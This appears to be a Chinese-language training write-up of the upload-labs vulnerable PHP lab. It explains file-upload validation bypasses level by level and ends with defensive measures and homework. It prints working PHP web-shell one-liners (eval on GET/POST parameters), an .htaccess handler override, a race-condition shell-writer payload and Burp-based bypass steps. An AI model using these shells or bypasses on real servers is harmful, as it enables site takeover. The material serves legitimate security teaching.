文件上传及验证绕过漏洞
目录
一、文件上传常见点
二、客户端--JS绕过--PASS-01
1、环境安装
2、禁用JS
3、后缀名绕过
4、修改前端代码
三、服务端黑名单绕过
1、特殊可解析后缀--PASS-03
2、大小写绕过--PASS-06
3、点绕过--PASS-08
4、空格绕过--PASS-07
5、::$DATA绕过--PASS-09
6、配合解析绕过--PASS-10
7、htaccess绕过--PASS-04
8、双写后缀名绕过--PASS-11
四、服务端白名单绕过
1、MIME类型检测绕过--PASS02
2、00截断绕过--PASS-12
(1)原理
(2)操作
五、服务端内容绕过
1、文件头检查--PASS14
(1)图片马的制作方法
(2)常见的文件头
(3)操作
2、突破getimagesize及exif_imagetype--PASS15--PASS16
(1)原理
(2)操作
3、二次渲染绕过--PASS17
(1)原理
(2)操作
五、文件包含绕过
1、原理
2、绕过方法
六、代码逻辑(条件竞争)--PASS18
1、原理
2、操作
七、文件上传漏洞安全防御
1、判断文件类型
2、使用随机数改写文件名和文件路径
3、文件上传的目录设置为不可执行
4、使用安全设备防御
一、文件上传常见点
上传头像、相册、图片、附件等,只要是要上传文件的地方都和容易出现文件上传漏洞
二、客户端--JS绕过--PASS-01
JS属于前端的内容,JS绕过也就是如何绕过前端防护。绕过前端的防护最重要以及最好用的一个方法是使用burp抓包工具,然后在抓到的请求包中直接进行数据包的修改,然后传送给服务器。
1、环境安装
docker pull cuer/upload-labs docker run -d -p 8083:80 cuer/upload-labs cuer/upload-labs这个靶场是使用PHP语言编写的。
2、禁用JS
网站只允许上传JPG,GIT,PNG这三种,通过JS脚本语言进行判断,这里将JS禁用之后就不可以进行判断了,从此就可以不限制格式进行上传了。
网站源码:这里定义了允许上传的文件类型 function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;} }
禁止操作: F12--F1--禁用JS--则可以进行任何类型的文件进行上传。
3、后缀名绕过
<?php phpinfo();?> 直接获取phpinfo网站信息 <?php eval(@$_GET['a']);?> GET方法 在路径后面使用?作为连接符:?a=system(pwd); <?php eval(@$_POST['a']);?>POST方法 使用蚁剑进行连接
先创建一个后缀可以通过的文件,然后在文件中写入php语言,通过burp进行抓包,将抓到的包进行修改,将后缀名修改为php,然后传送过去,上传成功。
4、修改前端代码
F12--checkfile--将检测文件类型的函数代码进行删除,则无法使用检测函数,删除 form 标签的 onsubmit 事件即可成功上传。
三、服务端黑名单绕过
黑名单:加入黑名单的意思就是不允许黑名单中的名单进行任何的操作
白名单:加入白名单意味着只有白名单里面的人可以进行操作。
1、特殊可解析后缀--PASS-03
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');//这是添加的黑名单$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';} }
-
源码中有
-
删除文件名末尾的点,
-
转换为小写,
-
去除字符串::$DATA,
-
收尾去空。这四种对于用户输入进行过滤的方法。
-
-
与此同时还建立了黑名单,.asp','.aspx','.php','.jsp这四种是黑名单中的后缀名。
-
除了上述的四种后缀之外,其他的后缀均可以上传,如.phtml,.php5,.pht,如果上传的是.php5这种类型的文件,想要被当成php文件执行,需要有一个前提条件:也就是Apache的httpd.conf有如下配置:
-
AddType application/x-httpd-php .php .phtml .php5 .phps .pht
-
在upload-labs这个靶场中,并未进行这个前提的配置,所以我们做实验只要证明能够上传成功即可。
-
2、大小写绕过--PASS-06
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';} }
-
少了对于用户输入进行转换大小写。所以这里我们可以使用大小写进行绕过,如后缀名为:PhP,phP等,只要不在黑名单里面即可。
关于一句话木马的使用: GET方法: 将后缀为.Php的文件,写上内容为<?php eval(@$GET['a']);?>。然后进行上传,上传成功,复制图片链接然后再链接上加入?a=system(pwd);就可获得相应的信息。 http://10.0.0.161:8083/upload/202504100010249380.Php?a=system(pwd);
3、点绕过--PASS-08
这里不再进行源代码的展示了,第八关少了删除文件末尾的点这个过滤操作,我们可以利用这一点进行绕过。
由于直接对文件的后缀名加个点的话,windows会直接对其进行处理,所以我们要采用抓包的过程来对后缀进行修改。--.php.
4、空格绕过--PASS-07
第七关少了首尾去空这个处理。所以我们在后缀末尾加上空格。由于直接加空格会被处理,所以这里我们也是采用burp进行处理,然后修改后缀名进行绕过。
5、::$DATA绕过--PASS-09
-
文件后缀为.php--加了::$DATA之后就变成了--.php::$DATA
-
原理是文件名加了::$DATA,会把::$DATA之后的数据当成文件流进行处理,不会检测其后缀名是什么,且保持::$DATA之前的文件名。使用它的目的就是使得服务器不检测后缀名。
-
还是相同的操作,在burp中修改后缀名。
6、配合解析绕过--PASS-10
这一关是四个处理都全部具备了,但是这四个检测都只检测了一次,并没有循环检测,所以我们可以使用info.php. ., info.php. ::$DATA来进行绕过。在burp中进行修改后缀名。
7、htaccess绕过--PASS-04
-
第四关和第十关之间的区别在于黑名单中第四关没有.htaccess这个后缀。.htaccess是一个配置文件,负责相关目录下的网页配置。它提供了针对目录改变配置的方法,即在特定的文档目录中放置一个包含一条或者多条规则指令的该文件,以作用于此目录及其所有子目录。
-
也就是说上传了.htaccess后缀的文件,然后.htaccess文件会修改网页配置,使得上传的文件都使用php进行解析。
-
.htaccess文件的命名只能是.htaccess.
准备好两个文件:.htaccess文件
<!-- .htaccess 文件 --><FilesMatch "magedu.jpg" >Sethandler application/x-httpd-php</FilesMatch>
//magedu.jpg<? php @eval ( $_POST [ "magedu" ]); ?>
操作: 上传一个.htaccess文件 再上传一个magedu.jpg文件,后缀随便,只要能够上传成功即可(没有在黑名单即可)
8、双写后缀名绕过--PASS-11
第十一关上传的文件的后缀名凡是符合黑名单中的任意一个后缀,则会被替换为空。但是并未做循环检测,我们可以使用.pphphp来进行绕过。
四、服务端白名单绕过
1、MIME类型检测绕过--PASS02
源代码中主要是检查文件的类型,在burp抓包中我们可以看到在文件的名称下面有一个数据包是文件的的类型。所以我们的绕过可以是上传一个1.php但是通过抓包工具将请求包中的文件类型转换为image/png(白名单中允许的内容),然后传送过去就可以了。
2、00截断绕过--PASS-12
(1)原理
00截断是操作系统层的漏洞,由于操作系统是C语言或者汇编语言编写的。这两种语言在定义字符串的时候,都是以\0作为字符串的结尾的,当操作系统碰到\0就认为读取到了一个字符串的结束符号。
%00:在URL中表示结束 0x00:操作系统按照十六进制读取 eg: aaa.php%00bbb.jpg这个时候bbb.jpg被截断,只剩下aaa.php
-
所以可以通过%00来进行截断。注意:%00的使用实在路径上的,不能再文件名上进行截断,因为网站一般不会对文件名进行解码则不会发挥截断作用。
(2)操作
上传一个后缀名为png或者jpg的文件,文件内容为一句话木马,然后通过burp进行抓包,在抓取到的请求包中进行修改 save_path=../upload/info.php%00info.png 使用%00后面接刚才上传的文件名进行截断,最终将上传的文件保存为info.php。 如果是在当前靶场中进行上传会发现上传失败,这是因为使用截断需要有两个前提条件: (1)php版本小于5.3.4 (2)php.info的magic_quotes_gpc设置为OFF状态 而当前靶场的环境的版本是5.3.8,不满足第一个条件。
解决方案:自己搭建一个靶场 (1)在windows环境中--安装phpstudy2018(直接双击进行安装即可,选择一个安装的路径就可以) (2)按照截断的要求去配置当前的php:a、切换版本为低于5.3.4b、点击其他菜单选项--打开配置文件--php.info--查找magic_quotes_gpca--将其改为OFF--保存 (3)复制upload-labs网站源码--点击其他菜单选项--网站根目录--粘贴进去,手动创建一个upload文件来存放上传的文件--启动 找到自己的主机网址:cmd--ipconfig(192.168.3.153) 192.168.3.153/upload-labs 进行访问,在自己的创建的这个靶场中对应的关卡是PASS11 (4)PASS11(get方式下的截断)--上传文件--进行抓包--截断 PASS12(POST方式下的截断)--抓包--在../upload/post.php%00下面进行截断,会发现失败. 这里我们需要将%00进行URL解码之后放上去,才会截断成功。
五、服务端内容绕过
1、文件头检查--PASS14
-
每个不同类型的文件的文件头是不相同的,服务器可以根据不同的文件头来判定文件时什么类型。
-
图片马的意思就是在图片中插入一句话木马,且不影响图片格式,图片可以正常打开。
-
服务端内容绕过是需要搭配文件包含漏洞才能够正常进行的,其中文件包含是网站的正常操作,通过在一个文件中包含另外一个文件,如果包含的另外一个文件是php则可以被利用。
(1)图片马的制作方法
-
windows操作系统进行文件拼接
将要拼接的两个文件放在一个文件夹中--在文件路径处cmd--进入命令行操作--输入拼接命令 copy /b 第一个文件名+第二个文件名 拼接之后的新的文件名
-
直接使用16进制工具在图片尾部添加一句话木马。
16进制工具是010 editor
-
直接在burp中进行抓包,在数据包中添加一句话木马。上传一个.jpg图片--抓包--在请求包图片后面加上一句话木马--放过去--访问一句话木马(下面有访问方法)
-
直接使用16进制编辑工具在php文件的头部添加图片头
文件的文件头的十六进制不会因为后缀名的改变而改变,所以可以通过文件头进行绕过php文件。
(2)常见的文件头
.jpg FF D8 FF E0 00 10 4A 46 49 46
.PNG 89 50 4E 47
.GIF 47 49 46 38 39 61
(3)操作
通过上面四种方法中的任意一种方法进行图片马的制作,加上利用该靶场已经存在的文件包含漏洞,从而可以实现攻击成功。
使用文件包含漏洞进行产看一句话木马: 10.0.0.161:8083/include.php?file=upload/文件名 还可以通过蚁剑来进行测试连接拿下网站。
2、突破getimagesize及exif_imagetype--PASS15--PASS16
(1)原理
getimagesize()和exif_imagetype()这两个函数主要是用来获取文件类型,进行文件类型的判断,如果是图片,会获取图片的宽和高,那么这样的话我们制作图片马的时候就不能采用第四种方法了,因为第四种方法的本质是上传一个php文件只不过是通过文件头进行绕过。
(2)操作
可以利用上面提到制作图片马的方法1,2,3来进行绕过即可,这里不再赘述。
PASS15:采用方法一制作图片马
PASS 16:使用方法二制作图片马
3、二次渲染绕过--PASS17
(1)原理
-
二次渲染的意思是根据用户上传的图片,新生成一个图片,原始图片被删除,从而将新的图片添加到数据库中。
-
我们可以通过十六进制工具来查看原始图片和经过网站二次渲染之后的图片的十六进制数的差异,进行两个图片的对比(打开十六进制工具--Tools--compare),会发现如果上传的是JPG文件的话,那么经过二次渲染之后,只有前面二十几行没有发生变化,后面的均发生了变化;而如果上传的文件是GTF则经过二次渲染之后前几百行没发生变化,后面的均发生变化。对于我们攻击者来说,我们一般会采用上传GTF文件来进行二次渲染绕过,因为我们想要将一句话木马插入到图片中,经过二次渲染都不会讲木马语句进行改变,GTF更具有优势。
(2)操作
(1)先对要上传的图片继续二次渲染前后对比,大概看出来哪里没有发生变化 (2)在不变的地方插入一句话木马,且不影响图片的阅读效果 (3)上传--利用文件包含漏洞--拿下网站
五、文件包含绕过
1、原理
-
前提:校验规则只校验当前文件后缀名为asp/php/jsp的文件内容是否为木马。
2、绕过方法
(1)先上传一个内容为木马的txt文件 (2)上传一个php文件,内容不包含攻击特点 <?php Include("上传的txt文件路径");?> 也就是上传的php文件中包含第一步上传的txt文件。
六、代码逻辑(条件竞争)--PASS18
1、原理
-
条件竞争上传时服务端漏洞,由于后端程序操作逻辑不合理导致的。
-
我们一般进行一个网站漏洞挖掘的时候,不会挖掘条件竞争上传漏洞,因为在挖掘前我们是没有办法判断网站源码的逻辑的。只有在进行了代码审计之后会对这个漏洞进行验证。
-
其原理是:网站定义了一个白名单,网站对于用户的输入先进行保存,再进行判断上传的文件是否是白名单中,如果是就保存,如果不是就删除。我们可以利用这中间的一个时间差,赶在上传的php脚本被删除之前访问到它,就能成功执行了。我们可以利用burp多线程发包,然后不断在浏览器访问上传的文件,总会有一瞬间会访问成功的。
2、操作
(1)文件内容payload <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?> 这句代码的意思是fput将一句话木马写入shell.php中并在服务器中创建这个文件。 (2)使用burp进行不停的发包的操作: 将抓到的包--send to Intruder--进行payload类型的修改,改为null payloads--continue indefinitely (3)使用浏览器不停访问的方法: 执行python脚本 在放有python脚本的文件路径中cmd(前提条件是自己的电脑本身就有python环境,之前配置过)--python test.py (4)具体操作顺序:创建一个文件名为cs.php,里面的内容写上payload--在浏览器靶场环境中进行上传--抓包--利用burp不断进行发包操作--在浏览器中不断进行访问操作。 如果一直出现没有成功,那么可以利用burp抓包工具改变一下电脑线程,使其以更快的频率进行发包。
test.py import requests url = "http://127.0.0.1:8083/upload/cs.php" while True:html = requests.get(url)if html.status_code == 200:print("OK") break 当出现ok说明访问到了该文件,那么shell.php应该就创建成功了。
七、文件上传漏洞安全防御
1、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
2、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果使用随机数改写文件名和路径,将极大地增加攻击的成本。
3、文件上传的目录设置为不可执行
只要Web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。
4、使用安全设备防御
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来提升防御能力。
作业:(上文均已经给出了详细的解答)
文件上传
(1)客户端绕过练习
(2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
(3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
(4)文件头检查:分别利用3种制作图片马的方式实现上传绕过
(5)二次渲染绕过
相关文章:
文件上传及验证绕过漏洞
目录 一、文件上传常见点 二、客户端--JS绕过--PASS-01 1、环境安装 2、禁用JS 3、后缀名绕过 4、修改前端代码 三、服务端黑名单绕过 1、特殊可解析后缀--PASS-03 2、大小写绕过--PASS-06 3、点绕过--PASS-08 4、空格绕过--PASS-07 5、::$DATA绕过--PASS-09 6、配…...
stack和queue的使用和模拟实现
1:stack文档 stack文档 stack的使用 2:queue文档 queue文档 queue的使用 1:队列是一种容器适配器,专门用于在FIFO上下文(先进先出)中操作,其中从容器一端插入元素,另一端提取元素。 2:队列作…...
基于Ubuntu2504部署OpenStack E版
OpenStack 初始化环境安装数据库、memcahe、rabbitmq等服务安装keystone服务安装glance服务安装placement服务安装nova服务安装neutron服务安装horizon服务 官网 OpenStack Epoxy 巩固了作为 VMware 替代方案的地位,增强了安全性,并改进了硬件支持 第 3…...
Jsp技术入门指南【七】JSP动作讲解
Jsp技术入门指南【七】JSP动作讲解 前言一、什么是JSP动作?二、核心JSP动作详解1. jsp:include:动态包含其他页面与<% include %>的区别 2. jsp:forward:请求转发到另一个页面3. jsp:param:为动作传递参数4. jsp:useBean&am…...
电脑 访问 github提示 找不到网页,处理方案
1、找到 本机的 host文件 例如 windows 的 一般在 C:\Windows\System32\drivers\etc\hosts 用管理员身份打开 hosts 文件 如果文件中没有 github的配置,需要自己手动添加上去; 如果有,则需要 检查 github.com 与 github.global.ssl.fastly.…...
性能比拼: Elixir vs Go
本内容是对知名性能评测博主 Anton Putra Elixir vs Go (Golang) Performance (Latency - Throughput - Saturation - Availability) 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 对比 Elixir 和 Go 简介 许多人长期以来一直要求我对比 Elixir 和 Go。在本视频…...
动手实现文本生成模型:基于 Decoder-only Transformer (PyTorch)
1. 选择框架:PyTorch 我们选择 PyTorch 作为实现框架。PyTorch 提供了灵活的动态图,并且拥有功能强大的 nn.Transformer 模块,方便我们快速构建模型。其社区活跃,资源丰富,是进行深度学习研究和开发的优秀选择。 确保你已经安装了 PyTorch 和其他必要的库: Bash pip i…...
WSL+Ubuntu+miniconda环境配置
安装到指定目录 bash Miniconda3-latest-Linux-x86_64.sh -b -p /usr/local/miniconda3添加环境变量 echo export PATH"/usr/local/miniconda3/bin:$PATH" >> /etc/profile echo export PATH"/usr/local/miniconda3/bin:$PATH" >> ~/.bashrc…...
linux学习 5 正则表达式及通配符
重心应该放在通配符的使用上 正则表达式 正则表达式是用于 文本匹配和替换 的强大工具 介绍两个交互式的网站来学习正则表达式 regexlearn 支持中文 regexone 还有一个在线测试的网址 regex101 基本规则 符号作用示例.匹配任何字符除了换行a.b -> axb/a,b[abc]匹配字符…...
【web服务_负载均衡Nginx】三、Nginx 实践应用与高级配置技巧
一、Nginx 在 Web 服务器场景中的深度应用 1.1 静态网站部署与优化 在 CentOS 7 系统中,使用 Nginx 部署静态网站是最基础也最常见的应用场景。首先,准备网站文件,在/var/www/html目录下创建index.html文件: sudo mkdir -p…...
详解与HTTP服务器相关操作
HTTP 服务器是一种遵循超文本传输协议(HTTP)的服务器,用于在网络上传输和处理网页及其他相关资源。以下是关于它的详细介绍: 工作原理 HTTP 服务器监听指定端口(通常是 80 端口用于 HTTP,443 端口用于 HT…...
LeetCode 2563.统计公平数对的数目:排序 + 二分查找
【LetMeFly】2563.统计公平数对的数目:排序 二分查找 力扣题目链接:https://leetcode.cn/problems/count-the-number-of-fair-pairs/ 给你一个下标从 0 开始、长度为 n 的整数数组 nums ,和两个整数 lower 和 upper ,返回 公平…...
Manus技术架构、实现内幕及分布式智能体项目实战
Manus技术架构、实现内幕及分布式智能体项目实战 模块一: 剖析Manus分布式多智能体全生命周期、九大核心模块及MCP协议,构建低幻觉、高效且具备动态失败处理能力的Manus系统。 模块二: 解析Manus大模型Agent操作电脑的原理与关键API…...
基于springboot的个人财务管理系统的设计与实现
博主介绍:java高级开发,从事互联网行业六年,熟悉各种主流语言,精通java、python、php、爬虫、web开发,已经做了六年的毕业设计程序开发,开发过上千套毕业设计程序,没有什么华丽的语言࿰…...
新能源汽车动力电池热管理方案全解析:开启电车续航与安全的密码
热管理:新能源汽车的隐形守护者 在新能源汽车飞速发展的今天,热管理系统作为保障车辆核心部件稳定运行的关键,正逐渐成为行业关注的焦点。据市场研究机构的数据显示,近年来新能源汽车的销量持续攀升,而与之相伴的是热…...
Ubuntu开启自启动PostgreSQL读取HDD失败处理思路
前置文章: windows通用网线连接ubuntu实现ssh登录、桌面控制、文件共享Ubuntu挂载HDD迁移存储PostgreSQL数据 背景: 启动实体Ubuntu机器后后很大的概率PostgreSQL不会成功启动,查看日志: Ubuntu启动时间: rootPine…...
损失函数总结
目录 回归问题L1损失 平均绝对值误差(MAE)Smooth L1 LossL2损失 均方误差损失MSE 分类问题交叉熵损失KL 散度损失 KLDivLoss负对数似然损失 NLLLoss 排序MarginRankingLoss 回归问题 L1损失 平均绝对值误差(MAE) 指模型预测值f(x…...
LeetCode 热题 100:回溯
46. 全排列 给定一个不含重复数字的数组 nums ,返回其 所有可能的全排列 。你可以 按任意顺序 返回答案。 示例 1: 输入:nums [1,2,3] 输出:[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]示例 2: 输入ÿ…...
Jetson Orin NX 部署YOLOv12笔记
步骤一.创建虚拟环境 conda create -n yolov12 python3.8.20 注意:YOLOv12/YOLOv11/YOLOv10/YOLOv9/YOLOv8/YOLOv7a/YOLOv5 环境通用 步骤二.激活虚拟环境 conda activate yolov12 #激活环境 步骤三.查询Jetpack出厂版本 Jetson系列平台各型号支持的最高Jetp…...
『Linux_网络』 第二章 UDP_Socket编程
学习了网络的概念了,接下来我们开始实践,本次我们会通过UDP来模拟实现UDP客户端和UDP服务器之间的通信,以及在此基础上扩展几个应用。 下面,我们将使用socket,bind,htons等接口实现UDP网络通信。 v1 版本 …...
【leetcode刷题日记】lc.322-零钱兑换
目录 1.题目 2.代码 1.题目 给你一个整数数组 coins ,表示不同面额的硬币;以及一个整数 amount ,表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额,返回 -1 。 你可以认…...
从GET到POST:HTTP请求的攻防实战与CTF挑战解析
初探HTTP请求:当浏览器遇见服务器 基础协议差异可视化 # 典型GET请求 GET /login.php?username=admin&password=p@ssw0rd HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0# 典型POST请求 POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x…...
实现Azure Data Factory安全地请求企业内部API返回数据
需要配置一个Web Activity组件在Azure云上的Azure Data Factory运行,它需要访问企业内部的API获取JSON格式的数据,企业有网关和防火墙,API有公司的okta身份认证,通过公司的域账号来授权访问,现在需要创建一个专用的域账…...
JDOM处理XML:Java程序员的“乐高积木2.0版“
各位代码建筑师们!今天我们要玩一款比原生DOM更"Java友好"的XML积木套装——JDOM!它像乐高得宝系列(Duplo)一样简单易用,却能让你的XML工程稳如霍格沃茨城堡!(温馨提示:别…...
Grouped Query Attention (GQA) PyTorch实现
个人在网上看到的实现好像都长得奇奇怪怪的,没有简洁的感觉,因此在这里给出一种易读的GQA实现方法: import torch import torch.nn as nn import torch.nn.functional as Fclass GroupedQueryAttention(nn.Module):def __init__(self, embed…...
《AI大模型应知应会100篇》第27篇:模型温度参数调节:控制创造性与确定性
第27篇:模型温度参数调节:控制创造性与确定性 摘要 在大语言模型的使用中,“温度”(Temperature)是一个关键参数,它决定了模型输出的创造性和确定性之间的平衡。通过调整温度参数,您可以根据任…...
演讲比赛流程管理项目c++
对于一个基本项目,先分析基本的东西有哪些 1.类 演讲管理类:用于编写比赛流程用的功能 演讲者类:包含姓名,分数 创建比赛流程:创建选手12个人,分为两组,6人一组,每组进行两轮比赛࿰…...
在小米AX6000中通过米家控制tailscale
由于tailscale占用内存较大,AX6000中的可用内存非常有限,所以需要对AX6000的内存使用进行优化: 1.减小tmpfs内存占用的大小: #从150M -> 90M,由于tailscale下载安装包是27M作用, 解压后50M左右…...
REC: 引爆全球万亿级市场!Web3+消费革命重塑全球-东南亚-跨境商业未来
在全球数字经济浪潮下,东南亚已成为增长最快的互联网市场之一,其与全球之间蓬勃发展的跨境贸易更是蕴藏着巨大潜力。然而,传统模式下的效率瓶颈、信任壁垒和用户激励难题日益凸显。在此背景下,基于去中心化与消费相结合的 REC 颠覆…...
微服务与事件驱动架构(EDA)
微服务架构 微服务架构核心特征 服务自治:每个服务拥有独立的代码库、数据库和运维流程。轻量级通信:服务间通过API(REST/gRPC)或消息队列(如Kafka)交互。去中心化治理:允许技术栈多样化&…...
单片机如何通过串口与上位机进行数据交换
单片机通过串口与上位机进行数据交换是一种常见的方式,广泛应用于嵌入式系统中。以下是实现这一功能的具体步骤和注意事项: 1. 硬件连接 在硬件层面,需要确保单片机和上位机之间的串口连接正确: 信号线连接:通常使用…...
AI速读 Seed-Thinking-v1.5:大模型推理的新飞跃
在大语言模型(LLM)蓬勃发展的今天,推理模型的性能提升成为了AI领域的关键议题。今天为大家解读的论文,带来了名为Seed-Thinking-v1.5的推理模型,它在多个任务上表现惊艳,还创新性地解决了不少难题ÿ…...
Mysql从入门到上手(二)-全面了解增删改查(CRUD).
一、检索数据 MySQL 中的检索数据操作是数据库操作中最常见的任务之一。使用 SQL 查询语言中的 SELECT 语句,可以从数据库中的一个或多个表中检索数据。以下是 MySQL 中与数据检索相关的各种技术和用法的详细讲解。 1.1、基本查询 最基本的查询是使用 SELECT 语句来…...
220V转5V转12V电机驱动供电WT5105
220V转5V转12V电机驱动供电WT5105 WT5105 芯片概述 WT5105 是一款集成非隔离式电源控制器,内部集成了 650V 高雪崩能力功率 MOSFET 以及高压启动与自供电电路。该芯片具有多模式输出的特点,输出电压可通过 FB 电阻灵活调整,能够实现 3.3V 以…...
基于Python Django 的全国房价大数据可视化系统(附源码,部署)
博主介绍:✌程序员徐师兄,7年大厂开发经验。全网粉丝12w,CSDN博客专家,同时活跃在掘金、华为云、阿里云、InfoQ等平台,专注Java技术和毕业项目实战分享✌ 🍅文末获取源码联系🍅 👇&a…...
leetcode0113. 路径总和 II - medium
1 题目:路径总和 II 官方标定难度:中 给你二叉树的根节点 root 和一个整数目标和 targetSum ,找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1: 输入:root …...
day46——两数之和-输入有序数组(LeetCode-167)
题目描述 给你一个下标从 1 开始的整数数组 numbers ,该数组已按 非递减顺序排列 ,请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设这两个数分别是 numbers[index1] 和 numbers[index2] ,则 1 < index1 < index2 &l…...
数据结构:以一个例题演示弗洛伊德算法
例 8.5.2 利用弗洛伊德算法,对图 8.5.5 中左侧的带权有向图求最短路径,给出每一对顶点之间的最短路径及其路径长度在求解过程中的变化。 图 8.5.5 带权图和邻接矩阵 【解】 根据图 8.5.5 中的带权有向图,可得所对应的邻接矩阵 g g g &#…...
Nginx 报错403 排查与解决
目录 前言-环境基础问题出现:403 Forbidden问题排查问题解决 前言 今天领导让我部署一个前端项目,一顿操作报错访问报错403,让我们一起搞定他。 环境 CentOS 7 x86 的服务器上部署了 Nginx 服务器。 配置文件 我把前端项目打包后的 dist 文件夹放在了 /root/…...
React-useImperativeHandle (forwardRef)
我们会遇到这样的场景:某个组件想要暴露一些方法,来供外部组件来调用。例如我们在开发form表单的时候,就需要把设置表单值、重置值、提交等方法暴露给外部使用。会有如下代码: import { forwardRef } from react;const Form for…...
研一自救指南 - 07. CSS面向面试学习
最近的前端面试多多少少都会遇到css的提问,感觉还是要把重点内容记记背背。这里基于b站和我自己面试的情况整理。 20250418更新: 1. BFC Block Formatting Context,一个块级的盒子,可以创建多个。里面有很多个块,他们…...
生成式人工智能驱动下的个性化学习资源开发研究——以K12学科知识图谱构建为例
一、引言 1.1 研究背景与意义 在当今数字化时代,教育领域正经历着深刻的变革,生成式 AI 技术的迅猛发展为 K12 教育带来了新的契机与挑战。长期以来,K12 教育主要采用标准化教学模式,这种 “一刀切” 的方式难以满足学生多样化的…...
A股周度复盘与下周策略 的deepseek提示词模板
以下是反向整理的股票大盘分析提示词模板,采用结构化框架数据占位符设计,可直接套用每周市场数据: 请根据一下markdown格式的模板,帮我检索整理并输出本周股市复盘和下周投资策略 【A股周度复盘与下周策略提示词模板】 一、市场…...
性能比拼: Deno vs. Node.js vs. Bun (2025版)
本内容是对知名性能评测博主 Anton Putra Deno vs. Node.js vs. Bun: Performance Comparison 2025 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 在本视频中,我们将使用当前可用的最新版本对 Node.js、Bun 和 Deno 进行比较。我决定更新本视频&#x…...
猫咪如厕检测与分类识别系统系列【十二】猫咪进出事件逻辑及日志优化
前情提要 家里养了三只猫咪,其中一只布偶猫经常出入厕所。但因为平时忙于学业,没法时刻关注牠的行为。我知道猫咪的如厕频率和时长与健康状况密切相关,频繁如厕可能是泌尿问题,停留过久也可能是便秘或不适。为了更科学地了解牠的如…...
stm32| 中断标志位和中断挂起位 | TIM_ClearFlag 函数和TIM_ClearITPendingBit 函数
1. 中断标志位(Interrupt Flag) 作用: 中断标志位位于外设寄存器中(如定时器的TIMx_SR、GPIO的EXTI_PR等),用于指示某个特定事件是否发生(例如定时器溢出、GPIO引脚电平变化)。该标志…...
QML Rectangle 组件
基本属性 属性类型默认值描述colorcolor"white"矩形填充颜色border.colorcolor"transparent"边框颜色border.widthint0边框宽度radiusreal0圆角半径gradientGradientnull渐变填充antialiasingbooltrue是否抗锯齿 几何属性 (继承自Item) 属性类型默认值描…...
Spring 学习笔记之 @Transactional详解
一、数据库事务基础 数据库事务(Transaction)是数据库管理系统中用于确保数据一致性和完整性的一种机制。它是一组操作的集合,这些操作要么全部成功,要么全部失败,从而保证数据库状态的正确性。 1.1 事务的基本概念 定…...
绕过UI的cooke和token的验证
很多的网站都在登录页面加入了识别文字,识别图片,拖动拼图的验证码方式来防止爬虫、恶意注册等,如果是做自动化,需要绕过 验证码才能进入下一步操作。 方案一、测试环境去除验证码 :最轻松的方法,找开发帮忙…...
